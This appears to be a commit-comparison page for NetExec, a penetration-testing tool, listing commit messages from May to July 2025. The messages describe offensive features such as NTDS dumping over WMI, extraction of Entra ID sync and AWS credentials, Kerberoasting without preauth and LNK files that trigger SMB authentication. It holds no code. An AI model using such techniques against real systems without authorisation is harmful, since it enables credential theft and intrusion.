Compare commits

...
Author SHA1 Message Date
Marshall Hallenbeck 1a6f0c801f feat(connection): log port as well 2025-07-31 14:34:09 -04:00
Marshall Hallenbeck 6a9e776ef5 refactor(protocol-loader): move loading protocols to a function so we can call it other places 2025-07-31 14:33:44 -04:00
Alex a8183f8851 Merge pull request #821 from Pennyw0rth/neff-add-wmi-ntds-dump-raw
Add WMI to ntds_dump_raw module
2025-07-24 15:34:41 +02:00
Alex 2befb3a99f Merge branch 'main' into neff-add-wmi-ntds-dump-raw 2025-07-24 15:26:53 +02:00
Alex 19a54d5aba Merge pull request #820 from Pennyw0rth/neff-fix-wmi
Refactor WMI protocol execution
2025-07-24 15:25:22 +02:00
Alexander Neff 65d3723e7b Remove string from testing, also increase characters for registry path 2025-07-24 09:21:39 -04:00
Alexander Neff 9ebac0f5df Enable dump for wmi with powershell execution 2025-07-24 08:56:23 -04:00
Alexander Neff b717f30629 Bug fixes for when the command already starts with 'powershell ...' 2025-07-23 18:38:24 -04:00
Alexander Neff af822e597a Add -X for powershell execution 2025-07-23 18:05:22 -04:00
Alexander Neff cb3564117d Add powershell command execution method instead of using powershell in normal exec 2025-07-23 15:34:04 -04:00
Alexander Neff 64aa7c05ab Remove print statement 2025-07-23 09:41:59 -04:00
Alexander Neff 917dcb505e Clean up after retrieving files and dynamically try 10s to get the output in case stuff takes time 2025-07-23 09:30:31 -04:00
Alexander Neff bab59de4bf Optimize execution speed 2025-07-23 08:56:39 -04:00
Alexander Neff e192f3cbb8 Split result output into 16KB chunks because that is the max value for registry keys 2025-07-23 07:53:15 -04:00
Alexander Neff 188ef13c87 Encode to b64 with powershell and not certutil 2025-07-23 06:15:01 -04:00
Alex a4d54d1673 Merge pull request #468 from 0xb11a1/raw-ntds-copy
Add raw-ntds-copy module
2025-07-22 18:26:43 +02:00
Alex 7328c08182 Merge pull request #805 from termanix/patch-2
Update LDAP find-computer Module
2025-07-21 17:02:23 +02:00
Alexander Neff 36573e393e Linting 2025-07-21 10:57:15 -04:00
Alexander Neff 86b74efd43 Improve module description 2025-07-21 10:52:24 -04:00
termanix 253d8ab93b removed exception handling
Signed-off-by: termanix <[email protected]>
2025-07-21 17:38:18 +03:00
Alex 776b84af85 Merge pull request #812 from Pennyw0rth/neff-fix-wmi
Fix command execution in wmi
2025-07-21 11:11:21 +02:00
Alex ed7db99fab Merge pull request #813 from termanix/terman-fix
Fix NFS Network Value
2025-07-21 09:58:22 +02:00
termanix 96a8ed2d02 fix group_names if returns empty 2025-07-21 03:36:24 -04:00
Alex 4e8d65093b Merge pull request #811 from Pennyw0rth/neff-fix-daclread
Add ldap parsing to daclread
2025-07-20 20:05:17 +02:00
Alexander Neff ffa46360a7 Execute each command seperatly so files are still deleted when previous commands fail 2025-07-20 14:04:52 -04:00
Alexander Neff 50edae4df1 Fix command execution in modules with output but no line printing 2025-07-20 14:02:34 -04:00
Alexander Neff 37de88547e Linting 2025-07-20 14:01:14 -04:00
Alexander Neff 8892b6a5d8 Fix winrm execution 2025-07-20 13:58:35 -04:00
Alexander Neff 985a9880e0 Remove unused function 2025-07-20 08:22:35 -04:00
Alexander Neff 477940e6ff Add ldap parsing to user info function 2025-07-20 08:21:25 -04:00
Alexander Neff 644298ecce Add ldap parsing to sid resolv function 2025-07-20 08:16:05 -04:00
Alexander Neff e4095ce851 Replace manual parsing with ldap parser and remove duplicate code 2025-07-20 08:08:04 -04:00
Alexander Neff bdfd869c94 Add searchControls to search function 2025-07-20 08:05:10 -04:00
Alexander Neff 8cb93db83c Fix file as target 2025-07-20 08:04:56 -04:00
Alexander Neff c43a64c03f Rename module from raw-ntds-copy to ntds-dump-raw 2025-07-20 07:35:54 -04:00
Alexander Neff aa8b1fd97b Add debug logging for exceptions 2025-07-20 07:30:03 -04:00
Alexander Neff 788ba90b97 Move powershell script to file instead of b64 inline 2025-07-19 12:57:43 -04:00
Alexander Neff f7fa1fa1b4 Formatting 2025-07-19 08:24:15 -04:00
Alex 0b5aebd402 Merge branch 'main' into raw-ntds-copy 2025-07-19 14:06:14 +02:00
Alex 858d211417 Merge pull request #800 from Geetub/slinky_set_lnk_target
Slinky set lnk target
2025-07-19 13:24:59 +02:00
Geetub d6fcee6c80 Merge branch 'main' into slinky_set_lnk_target 2025-07-19 13:00:49 +03:00
theuser aa7f6d07b8 Merge branch 'raw-ntds-copy' of github.com:0xb11a1/NetExec into raw-ntds-copy 2025-07-19 13:50:41 +04:00
theuser 2bff24a3ff Code cleanup, remove unnecessary debug information and add comments 2025-07-19 13:42:23 +04:00
termanix f1d39a6e8a DNS resolver change to with connection object 2025-07-18 10:53:21 -04:00
termanix a0fb0f4cca Merge branch 'main' into patch-2 2025-07-18 17:50:01 +03:00
Alex e99e5c244c Merge pull request #808 from Pennyw0rth/neff-fix-veeam
Fix veeam script if there is no salt reg key
2025-07-17 18:21:12 +02:00
Alexander Neff 44624b703c Fix veeam script if there is no salt reg key 2025-07-17 11:43:46 -04:00
mpgn da949f1875 Merge pull request #804 from Pennyw0rth/hosts
Removing the horrible multiple hosts option
2025-07-17 00:15:58 +02:00
mpgn 95cd4f3383 Merge pull request #798 from Pennyw0rth/pso
Switch pso module to core feature
2025-07-17 00:15:41 +02:00
termanix e3f7168858 IP resolver change to with DNS query 2025-07-16 12:41:13 -04:00
mpgn e70aaa54c4 fix ruff 2025-07-16 17:36:00 +02:00
Alex 8d53bb5873 Merge pull request #803 from Pennyw0rth/neff-fix-get-network
Refactor get-network and fix encoding
2025-07-16 17:29:52 +02:00
Alexander Neff 753a773043 Remove undocumented option and unique IPs if only IPs are returned 2025-07-16 11:13:00 -04:00
Alexander Neff a565676ea5 Remove check for Record type 'A' which would filter all other 2025-07-16 11:02:19 -04:00
Alexander Neff 6515b0da1a Remove unused functions and imports 2025-07-16 10:44:14 -04:00
Alexander Neff a44389c17b Add correct ldap parsing 2025-07-16 10:42:38 -04:00
mpgn 4dd479a956 remove blank line 2025-07-16 16:25:49 +02:00
mpgn 95e7cdfc9f remove the horrible multiple hosts option 2025-07-16 16:22:04 +02:00
Geetub 0565e4e176 Use ico extension as target
Signed-off-by: Geetub <[email protected]>
2025-07-16 12:51:23 +03:00
Geetub b974d3d67c Use .exe as target
Use .exe as target, since it triggers an SMB query also on Windows Explorer "Details view".

Signed-off-by: Geetub <[email protected]>
2025-07-16 12:08:54 +03:00
mpgn 2d0bd8e443 add parsed 2025-07-16 09:33:48 +02:00
mpgn c174e87237 fix search 2025-07-15 23:50:39 +02:00
Geetub d5e6e6d6f3 Use pylnk3.for_file() to set LNK target.
Signed-off-by: Geetub <[email protected]>
2025-07-16 00:14:27 +03:00
mpgn ea525f987f readd missing function 2025-07-15 18:34:13 +02:00
mpgn 6bf9b8acb3 fix ruff 2025-07-15 18:30:08 +02:00
mpgn 9c68f76b73 update test 2025-07-15 18:28:08 +02:00
mpgn 0c967f2b95 fix ruff 2025-07-15 18:27:11 +02:00
mpgn f32dd56fb3 switch pso module to core feature 2025-07-15 18:22:30 +02:00
mpgn 11d484b268 Merge pull request #788 from Pennyw0rth/opsec 2025-07-15 12:03:18 +02:00
Alex 5c2afa9623 Merge branch 'main' into raw-ntds-copy 2025-07-15 00:21:19 +02:00
Alex 8f973b1000 Merge pull request #764 from Pennyw0rth/neff-add-entra-id-sync-extractor 2025-07-14 16:47:34 +02:00
Marshall Hallenbeck 4b37669bda Merge pull request #794 from Pennyw0rth/Marshall-Hallenbeck-update-pr-template
docs: add deprecation change type and clarify e2e tests checklist
2025-07-14 09:18:15 -04:00
Alexander Neff b2503951ab Remove opsec flags of new modules 2025-07-14 08:18:40 -04:00
Alex 46f6dada23 Merge branch 'main' into opsec 2025-07-14 14:17:25 +02:00
Alexander Neff f2cef11e04 Add new ps1 script for extraction 2025-07-14 08:04:48 -04:00
Alexander Neff 0a8ada49f8 Replace msol module with the new entra-id module 2025-07-14 08:04:25 -04:00
Alex 266c6714aa Merge pull request #556 from crosscutsaw/dump-computers
new module: ldap > dump-computers
2025-07-14 13:53:18 +02:00
Alexander Neff e259128ead Linting 2025-07-14 07:50:46 -04:00
Alexander Neff 0eb65ed347 Add e2e test 2025-07-14 07:49:02 -04:00
Alexander Neff 239cc80516 As there have to be computers in a domain (at least the DC) don't check if there are anwsers 2025-07-14 07:48:28 -04:00
Alexander Neff 234b41efa5 Simplify logic 2025-07-14 07:45:02 -04:00
Alexander Neff 8b3bc6b89a Fix description 2025-07-14 07:40:57 -04:00
Alex 3a7b04f83f Merge branch 'main' into dump-computers 2025-07-14 13:39:18 +02:00
crosscutsaw 16a65d4c26 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-07-14 12:59:07 +03:00
Marshall Hallenbeck c465d67806 Merge branch 'main' into Marshall-Hallenbeck-update-pr-template 2025-07-13 19:39:46 -04:00
Marshall Hallenbeck 9566b0d31e Merge pull request #795 from Pennyw0rth/Marshall-please-update-your-version
add huge disclaimer to issue template
2025-07-13 19:37:57 -04:00
Marshall Hallenbeck 9d6939a7b1 try to get peoples attention even more
idea of @NeffIsBack 

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 19:04:42 -04:00
Alex b2aac4e5af Merge pull request #701 from fpreynaud/wcc_llmnr
[WCC] Improve NBTNS check and add LLMNR check
2025-07-14 00:43:52 +02:00
Marshall Hallenbeck 2522ee19df add huge disclaimer to issue template
users continuously post issues that have already been resolved, I hope this massive disclaimer will cut down on that

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 17:24:33 -04:00
Marshall Hallenbeck 9ad951c781 Merge branch 'main' into opsec 2025-07-13 16:14:51 -04:00
Marshall Hallenbeck 22712d6b36 docs: clarify how to fill in checklists
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:06:11 -04:00
Marshall Hallenbeck a57d1db4f4 docs: add deprecation change type and clarify e2e tests checklist
If we deprecate something, we should have a type of change checkbox (not every deprecation is breaking)
People are adding features and modules without adding them to the e2e tests

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:00:08 -04:00
Alex 97049a06bd Merge pull request #789 from azoxlpf/fix/get-sid-kcache
fix(ldap): support get-sid and admin flag when using --use-kcache
2025-07-13 21:12:11 +02:00
theuser e51aa58475 Move raw-ntds-copy to a module 2025-07-13 14:26:11 +04:00
azoxlpf 70463e54a6 fix(ldap): support get-sid and admin flag when using --use-kcache 2025-07-12 21:38:36 +02:00
Alex 68e36dc8ed Merge pull request #769 from sepauli/add-info-field
Add get-info-users module
2025-07-10 23:49:15 +02:00
Alexander Neff 5dd82ffe2d Apply formatting for better readability 2025-07-10 17:45:53 -04:00
Alexander Neff 443a87bf95 Simplify logic 2025-07-10 17:43:23 -04:00
Alexander Neff b9827e5b65 Formatting, remove unused imports and small code improvements 2025-07-10 17:33:53 -04:00
Alex fc71ef81ad Merge pull request #783 from Dfte/qwinsta_grep
Allows --qwinsta to filter for a specific user
2025-07-10 23:07:08 +02:00
Alexander Neff b7d8eeb2bc Merge branch 'main' into qwinsta_grep 2025-07-10 17:04:52 -04:00
Alexander Neff 6796ffaf63 Set empty string as default not boolean 2025-07-10 17:01:46 -04:00
Alexander Neff d60f5b8fad Add comments 2025-07-10 17:00:45 -04:00
Alexander Neff 7f294ae65a Remove already imported os 2025-07-10 15:52:14 -04:00
Alexander Neff 7b6ca4e9dc Fix format string in template 2025-07-10 15:51:38 -04:00
Alex 7ab386f55d Merge pull request #787 from Dfte/fix_shares_filter
Patches the --filter-shares so that it correctly finds READ,WRITE perm
2025-07-10 01:40:06 +02:00
Alexander Neff 67d8e9ec6c Remove const otherwise the default filter is READ,WRITE 2025-07-09 19:36:06 -04:00
mpgn 1d80c40d05 Merge pull request #784 from azoxlpf/fix/kerberos-ridbrute-spn
setRemoteName to avoid Kerberos SPN resolution error in rid_brute
2025-07-08 00:10:02 +02:00
azoxlpf 3c521b750e Fix indentation 2025-07-07 12:53:03 +02:00
azoxlpf 45760c1031 Fix 2025-07-07 12:50:41 +02:00
Aurélien CHALOT adbf4f5926 Remove useless blank line 2025-07-07 12:21:38 +02:00
Aurélien CHALOT 3cdc648073 Remove log.fail messages 2025-07-07 12:20:29 +02:00
Aurélien CHALOT 9049e58252 Remove log.fail messages 2025-07-07 12:01:42 +02:00
mpgn 246e7e5d27 remove the horrible opsec flag 2025-07-07 11:26:06 +02:00
mpgn aa6e504aa5 remove the horrible opsec flag 2025-07-07 11:22:25 +02:00
Aurélien CHALOT 3549ce5e76 Lower permission checks, merge both options into --shares and add deprecation warning 2025-07-07 10:41:30 +02:00
Alex 638c10145a Merge pull request #782 from Dfte/tasklist_grep
Add process filtering in --tasklist
2025-07-06 21:31:52 +02:00
Aurélien CHALOT e6ce6da442 Patches the --filter-shares so that it correctly finds READ,WRITE perm 2025-07-06 20:27:16 +02:00
azoxlpf ec66078bc2 setRemoteName to avoid Kerberos SPN resolution error in rid_brute 2025-07-06 19:34:44 +02:00
Sebastian Pauli db93f5b026 add change requests
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-05 19:05:24 +02:00
Alexander Neff bfcc73541f Merge branch 'main' into tasklist-filter 2025-07-05 12:06:43 -04:00
Alex dc239dad22 Merge pull request #779 from Dfte/add_taskkill
Add the taskkill option
2025-07-05 18:05:04 +02:00
Alexander Neff c1dfefd2a1 Use build in exception traceback instead of traceback.format_exc 2025-07-05 10:50:25 -04:00
Alexander Neff 1865d420cf Allow grep like searching 2025-07-05 10:35:25 -04:00
Alexander Neff 2505be41ee Remove spaces 2025-07-05 10:26:05 -04:00
Alexander Neff 8cd6447ca1 Use format strings 2025-07-05 10:25:51 -04:00
Aurélien CHALOT 1c262fe6ff Update so that it supports passing a file with usernames 2025-07-05 14:56:58 +02:00
Aurélien CHALOT 2febbf654c Updates qwinsta 2025-07-05 10:21:48 +02:00
Aurélien CHALOT b01d410fd6 Updates tasklist 2025-07-05 10:00:39 +02:00
Alex 991f871b49 Merge pull request #777 from Dfte/patch_qwinsta_tasklist
Patch --qwinsta --tasklist stack trace
2025-07-04 22:03:14 +02:00
Aurélien CHALOT ed4e4a1e3e Add the taskkill option 2025-07-04 18:30:33 +02:00
Aurélien CHALOT 9e8ae0364d Patch --qwinsta --tasklist stack trace 2025-07-04 15:32:01 +02:00
Alex bbca423a1e Merge pull request #763 from Pennyw0rth/neff-add-entry-id-finder
Add module to find the entra-id sync server
2025-07-03 18:56:05 +02:00
Alex f9358078cd Merge pull request #774 from Powett/patch-1
Update bitlocker.py - Corrected BitLocker EncryptionMethods
2025-07-03 18:30:32 +02:00
Alex 70e3fc8a81 Merge pull request #775 from Pennyw0rth/neff-patch-1
State that using a BINARY for schtask_as is optional
2025-07-03 18:14:52 +02:00
Alexander Neff ac15a720d4 State that using a BINARY for schtask_as is optional 2025-07-03 12:10:25 -04:00
Alex 1b620c0d16 Merge pull request #735 from kaisersource/patch-1
Image size improvements and pinned Netexec version
2025-07-03 17:41:13 +02:00
Alexander Neff 20d6e319dc Add info log message to get the raw info of the found entra id related accounts 2025-07-03 11:38:40 -04:00
Powett fdb5608fed Update bitlocker.py - Corrected BitLocker EncryptionMethods
According to https://learn.microsoft.com/en-us/windows/win32/secprov/win32-encryptablevolume, the correct mapping is as follows.

Signed-off-by: Powett <[email protected]>
2025-07-03 16:37:36 +02:00
mpgn b0263cb93b Merge pull request #773 from azoxlpf/fix/smb-error-coloring
fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta
2025-07-02 22:39:16 +02:00
azoxlpf 01c2bd5508 fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta 2025-07-02 22:20:30 +02:00
Alex 3bccec9839 Merge pull request #772 from Pennyw0rth/neff-fix-pre2k
Only display success message if accounts found
2025-07-02 21:40:33 +02:00
Alexander Neff 67e21e177e Only display success message if accounts found 2025-07-02 15:14:29 -04:00
Sebastian Pauli 1a4ea1eb37 fix poetry checks
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 19:26:27 +02:00
Sebastian Pauli 39e8e6e264 create get-info-users
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 18:53:32 +02:00
Alex c1b04216d1 Merge pull request #767 from tiagomanunes/bugfix-winrm-ps_execute 2025-07-01 10:24:33 +02:00
Alex e4754628d1 Merge pull request #766 from v3gahax/main 2025-07-01 10:22:43 +02:00
Tiago Nunes 8db4ba446a Fix winrm's ps_execute() to return output 2025-07-01 09:00:22 +02:00
v3ga 3db348e262 Update wcc.py
Corrected typos in wcc.py

Signed-off-by: v3ga <[email protected]>
2025-06-30 19:09:13 -07:00
Alexander Neff 915faa2564 Add disclaimer, that the Entra ID sync service is probably not installed on the target 2025-06-30 06:31:03 -04:00
Alexander Neff d56be12d17 Highlight the IP address 2025-06-30 06:18:05 -04:00
mpgn 29a437938c Merge pull request #765 from azoxlpf/Fix/TGS-REP
fix hashcat/John format for TGS-REP
2025-06-30 10:57:35 +02:00
azoxlpf 4c0ebf0b1e fix hashcat/John format for TGS-REP 2025-06-30 10:38:55 +02:00
Alexander Neff e1136f681c Formatting 2025-06-29 19:38:44 -04:00
Alexander Neff ce157470a1 Finish entry-sync-creds module 2025-06-29 19:38:35 -04:00
Alexander Neff 48a0e5e3f2 Heavily reduce ps script length to fit in limit 2025-06-29 19:38:18 -04:00
Alexander Neff dc2d748b6e Typo 2025-06-29 17:26:09 -04:00
Alexander Neff ec2f4cc500 Rename typo in filename 2025-06-29 17:22:59 -04:00
Alexander Neff 665b77d5e6 Add semi working Extractor script for entra id creds 2025-06-29 17:21:18 -04:00
Alexander Neff 23bee813b7 Remove unnecessary host info and formatting 2025-06-29 11:53:56 -04:00
Alexander Neff 8415e25698 Init module to extract entry id sync credentials 2025-06-29 11:43:47 -04:00
Alexander Neff e2a7d5c597 Add module to find the entra-id sync server 2025-06-29 11:42:58 -04:00
zblurx d28b11df42 Merge pull request #760 from Pennyw0rth/enum_links_fix
Fix enum_links module privilege requirement
2025-06-26 18:37:24 +02:00
zblurx 716ddf2ca0 fix enum_links module privilege requirement 2025-06-26 17:07:41 +02:00
mpgn dea04c9664 Merge pull request #756 from Pennyw0rth/preauth 2025-06-25 08:22:23 +02:00
mpgn a6225e5df7 fix review 2025-06-25 00:30:03 +02:00
mpgn 64cbd35206 update flag to better understant 2025-06-24 21:40:02 +00:00
mpgn 26c3f661a2 Merge pull request #755 from Pennyw0rth/mssql
Update mssql enum login
2025-06-24 11:31:59 +02:00
mpgn 1ffe908f80 fix review 2025-06-24 10:36:27 +02:00
mpgn 9bd4f91d58 fix review 2025-06-24 10:29:33 +02:00
mpgn 832969cf09 better output 2025-06-24 00:38:05 +02:00
mpgn cf99d9cd45 better mssql enum login 2025-06-23 21:52:27 +02:00
Alex e446d36779 Merge pull request #750 from Pennyw0rth/neff-fix-issues 2025-06-21 19:25:26 +02:00
Alexander Neff e87e80a58d Fix file path on windows, #746 2025-06-19 13:52:32 -04:00
Alexander Neff d317d4993f Fix #748 2025-06-19 13:52:09 -04:00
Alex 4d0f950de0 Merge pull request #719 from azoxlpf/feat/kerberoast-no-preauth
Add Kerberoasting support with no-preauth user
2025-06-19 17:25:38 +02:00
Alexander Neff 203f532401 Linting 2025-06-19 11:15:20 -04:00
zblurx 4f8587f6a7 Merge pull request #745 from Pennyw0rth/fix-cbt-check
Fix #744
2025-06-19 11:34:18 +02:00
Alex 4d7ec6ea92 Merge pull request #747 from Reelix/patch-1 2025-06-18 17:11:01 +02:00
Reelix 6562500d0a Fixed minor typo in issue template
openning -> opening

Signed-off-by: Reelix <[email protected]>
2025-06-18 16:59:11 +02:00
zblurx b7259fd68c Fix #744 2025-06-17 16:58:58 +02:00
Alex 9ca183d549 Merge pull request #743 from Pennyw0rth/neff-fix-cbt-check
Fix conn reset error on windows if dc doesnt have tls cert
2025-06-17 13:57:14 +02:00
mpgn f227432e7d Merge pull request #739 from Pennyw0rth/fix_is_dc
Fix function to check if hosts is a dc or not
2025-06-17 13:54:08 +02:00
Alexander Neff 79b6c7a2ad Fix conn reset error on windows if dc doesnt have tls cert 2025-06-17 07:38:23 -04:00
Alex 0630e22503 Merge pull request #608 from termanix/notepad
New SMB Module Notepad
2025-06-17 13:27:17 +02:00
Alexander Neff 74ecd3ab37 Don't break out of loop if one file doesn't have meaningful content 2025-06-17 07:07:50 -04:00
Alexander Neff 17e03d2405 Retrieve files after killing the process 2025-06-17 07:07:23 -04:00
mpgn ca932eb383 fix error is dc 2025-06-17 09:41:20 +02:00
Alex a48cbdb562 Merge pull request #741 from Pennyw0rth/neff-fix-ldap 2025-06-16 21:49:29 +02:00
Alexander Neff 659c2256dc Skip cbt check if port explicitly set to 389 2025-06-16 14:34:14 -04:00
mpgn 01b83d44d3 fix review 2025-06-16 17:56:18 +00:00
termanix 05ad12f911 add kill option if user wants to kill process and read files 2025-06-16 13:50:33 -04:00
termanix 059a20b52b Merge branch 'main' into notepad 2025-06-16 18:05:42 +03:00
mpgn a81cc6740b Merge branch 'main' into feat/kerberoast-no-preauth 2025-06-16 16:42:11 +02:00
Alexander Neff e17b5ada8c Prevent crash when password flag was not specified 2025-06-16 09:56:49 -04:00
Alexander Neff 5fb9946d8a Swap logic to -u asreproastable --no-preauth kerberoastable 2025-06-16 09:50:19 -04:00
Alexander Neff dd637cfb18 Fix setting username when we authenticate with ccache 2025-06-16 09:47:27 -04:00
Alexander Neff b6a0599252 Require username/user list for no-preauth to kerberoast them 2025-06-16 08:54:24 -04:00
Alexander Neff 9e780c71a9 Use kerberos with no-preauth and allow preauth authentication if flag is set 2025-06-16 08:53:50 -04:00
Alexander Neff 4cd0bf12c7 Fix indentation 2025-06-16 08:01:18 -04:00
Alex fde3de726e Merge pull request #455 from dev-fortress/aws-credentials
New module: AWS Credentials Finder
2025-06-16 13:49:06 +02:00
Alexander Neff 09bdf0b6a6 Apply changes by @dev-fortress 2025-06-16 07:41:29 -04:00
Alexander Neff 6ef84832bf Revert "Update aws-credentials.py"
This reverts commit fc0c615fcd.
2025-06-16 07:40:57 -04:00
azoxlpf 2922c04645 fix: corrected bad variable name 2025-06-16 08:31:47 +02:00
mpgn 9a755391f1 check only if port 135 is open, better faster 2025-06-15 23:57:53 +02:00
mpgn 14b1bc63b8 add more resiliant check on dc in case rpc is filtered 2025-06-15 22:53:45 +02:00
mpgn 3fe32d6530 add timeout to isdc function in case rpc is blocked 2025-06-15 22:39:43 +02:00
Braiant Giraldo fc0c615fcd Update aws-credentials.py
Refined AWS credentials detection: updated both Bash and PowerShell scripts to search only for files named 'credentials' that contain the keyword 'aws', which is consistently present in relevant AWS configuration files. Removed 'config' from the scope after confirming it contains no useful information. Also suppressed 'permission denied' errors in the Bash script for cleaner output during scans.

Signed-off-by: Braiant Giraldo <[email protected]>
2025-06-14 19:40:41 -05:00
Professor Bossetti 0f6f6ad9e6 Merge branch 'main' into patch-1 2025-06-14 12:43:01 +02:00
Alex 31acd22652 Merge pull request #737 from Pennyw0rth/neff-fix-badsuccessor 2025-06-14 11:26:59 +02:00
Professor Bossetti 3332bee3d5 Alignment with main branch 2025-06-14 06:54:26 +00:00
Alexander Neff 094cab542f Fix dns resolution when finding 2025 dc 2025-06-13 18:12:12 -04:00
zblurx 2cd67b9dd3 Merge pull request #718 from rtpt-romankarwacik/efsr_spray_module
Add efsr_spray module
2025-06-13 15:03:56 +02:00
zblurx 4a7ad60f62 Merge branch 'main' into efsr_spray_module 2025-06-13 15:01:27 +02:00
Professor Bossetti 2bd75d987f Image size improvements and pinned Netexec version
Minimized final image size (From ~2 GB to ~350 MB)
Pinned a stable NetExec version

Signed-off-by: Professor Bossetti <[email protected]>
2025-06-13 12:09:51 +02:00
azoxlpf f3e60e5ed6 refactor(kerberos): unify AES etype handling and use f-strings 2025-06-13 10:06:28 +02:00
fpreynaud d4168b425b Merge branch 'main' into wcc_llmnr 2025-06-13 09:41:13 +02:00
Alex aec6448241 Merge pull request #493 from Yeeb1/module_ggp_privs
Add new SMB module to extract GPO deployed privilege assignments
2025-06-13 00:33:33 +02:00
Alexander Neff 25fee91e4e Replace share listing with test read on SYSVOL share 2025-06-12 18:29:01 -04:00
Alexander Neff 55cd9bb88d Fix retrieving defaultNamingContext from ldap connection 2025-06-12 18:14:47 -04:00
Alexander Neff 64ccbbb5df Formatting 2025-06-12 18:14:08 -04:00
Alexander Neff bfada649f3 Formatting 2025-06-12 16:39:52 -04:00
Alex 1779e842ff Merge branch 'main' into module_ggp_privs 2025-06-12 21:02:16 +02:00
Roman Karwacik ff0c47bd5e check if pipe was activated even if deletion was not successful 2025-06-12 12:31:41 +02:00
Alex 0cb26b9760 Merge branch 'main' into efsr_spray_module 2025-06-11 11:24:07 +02:00
Roman Karwacik dbd476d3aa linting 2025-06-11 11:07:51 +02:00
Roman Karwacik a5dbfdbab4 add option to exclude shares and exclude SYSVOL by default 2025-06-11 11:06:24 +02:00
termanix 7a39c4bd46 removed unnecessary lines, editted try&except blocks 2025-06-10 16:03:22 -04:00
termanix 15376c3fdb Merge branch 'Pennyw0rth:main' into notepad 2025-06-10 17:26:29 +03:00
Alex 5da5bf1271 Merge pull request #649 from d4ytox/Refactoring-NXC_PATH
Refactoring nxc path and adding support for XDG Base Directory - addressing issue #558
2025-06-10 14:54:32 +02:00
Alexander Neff 06c0a7fb3d Linting 2025-06-10 08:43:08 -04:00
Alexander Neff ea0a42af7c Fix path in user-desc module 2025-06-10 08:38:57 -04:00
Alexander Neff e2351bac12 Remove legacy code 2025-06-10 08:22:45 -04:00
Alexander Neff 5101a96e03 Replace config paths with variable and formatting 2025-06-10 08:14:51 -04:00
Alexander Neff 029ec26024 Remove legacy code 2025-06-10 08:03:49 -04:00
Alexander Neff b9bee6bb0b Use NXC_PATH instead of XDG env var and also initialize TMP folder when nxc folder exists 2025-06-10 07:59:27 -04:00
Alexander Neff 07803cb58c Use NXC_CONFIG instead of retrieving it with NXC_PATH/nxc.conf 2025-06-10 07:58:44 -04:00
Alex 7ea164af97 Normpath for nxc folder 2025-06-10 12:47:02 +02:00
Alex 0b4d0bb21c Replace single quotes 2025-06-10 12:46:37 +02:00
Alex 4af8b4a826 Merge branch 'main' into refactor-nxc-path 2025-06-10 12:45:33 +02:00
Roman Karwacik 318ac2ec61 move fail logs into single row for better readability 2025-06-10 09:06:42 +02:00
Roman Karwacik aae875d1cd removed hardcoded error messages 2025-06-10 09:03:52 +02:00
Alexander Neff 3bc5371dd9 Reset tab counter for each user 2025-06-09 16:28:34 -04:00
Alexander Neff 609b0ee2db Formatting 2025-06-09 15:48:03 -04:00
Alexander Neff bbd0ae1200 Formatting 2025-06-09 15:39:37 -04:00
Alex 7a1eca10d6 Merge branch 'main' into notepad 2025-06-09 21:36:32 +02:00
Alex 3591950f02 Merge pull request #725 from Mojo8898/main
Fixing --generate-hosts-file smb option
2025-06-09 15:31:26 +02:00
Alex 1393d13106 Merge pull request #561 from crosscutsaw/presence
new module: smb > presence
2025-06-08 18:24:41 +02:00
Mojo8898 eb7b522552 Fixing --generate-hosts-file smb option 2025-06-08 04:42:58 -04:00
Alex 812c277daa Merge pull request #724 from Pennyw0rth/neff-add-ls-check
Add error handling if we can't mount share with --ls
2025-06-07 15:13:52 +02:00
Alexander Neff cdecf3f979 Add error handling if we can't mount share with --ls 2025-06-07 14:52:41 +02:00
Alex 9f7c35cb33 Merge pull request #722 from Pennyw0rth/neff-fix-version-log
Move version log after file logger is attached
2025-06-06 16:30:33 +02:00
Alexander Neff 8e30699886 Move version log after file logger is attached so it is in the file log as well 2025-06-06 10:23:30 -04:00
azoxlpf 358c4ad3fc Add Kerberoasting support with no-preauth user 2025-06-04 11:11:47 +02:00
Roman Karwacik f2b180e9ca Add efsr_spray module 2025-06-04 09:26:04 +02:00
Alex fbc787c620 Merge pull request #717 from Pennyw0rth/neff-fix-query
Fix querying when non searchResultEntries are returned
2025-06-03 22:39:20 +02:00
Alexander Neff 76ed75e58b Skip non-searchResult entries similar to how the parser works 2025-06-03 15:59:05 -04:00
Alex 3e3987451b Merge pull request #712 from Pennyw0rth/neff-fix-asreproast-anon
Enable asreproast with anonymous ldap logins
2025-06-03 11:17:02 +02:00
Alex 9d3f34e4b6 Merge pull request #711 from t94j0/main
Update kerberoast command output to be idiomatic
2025-06-03 11:15:09 +02:00
Alex 6decd7fb00 Merge pull request #714 from Pennyw0rth/neff-fix-subnets
Add base_dn option to subnet module
2025-06-03 11:09:55 +02:00
Alexander Neff 10e7c62c30 Allow anonymous auth with asreproast and kerb/hash auth 2025-06-03 05:07:41 -04:00
Alexander Neff e2e70a7193 Allow an empty nt hash 2025-06-03 05:07:21 -04:00
Alexander Neff dc0bde6d80 Add base_dn option to subnet module 2025-06-03 04:40:39 -04:00
Max Harley 73dc41122a Address comments from NeffIsBack 2025-05-30 11:51:42 -04:00
Alexander Neff 2a6b4c7e4b Formatting 2025-05-29 19:25:34 -04:00
Alexander Neff ad637e1c8e Enable asreproast with anonymous ldap logins 2025-05-29 19:15:19 -04:00
Alexander Neff e8f62d23c2 Hide non admins in --verbose 2025-05-29 18:30:07 -04:00
Alexander Neff 655c272462 Functionalize rpc methods, fix kerberos auth and resolve usernames for non-admin SIDs 2025-05-29 18:23:03 -04:00
Alexander Neff f24bb77b0c Formatting 2025-05-29 17:39:14 -04:00
Alexander Neff e7138b6a15 Add extraction of scheduled tasks 2025-05-29 17:38:40 -04:00
Max Harley 74c252656a Update kerberoast command output to be idiomatic
The output currently shows as username\domain. Most of the time, tools output
usernames in the opposite way where the domain is first, and then the username
2025-05-29 17:13:14 -04:00
Alexander Neff 9a11512426 Formatting 2025-05-29 14:19:04 -04:00
Alexander Neff 2e86a0e521 Functionalize admin enumeration 2025-05-29 13:55:26 -04:00
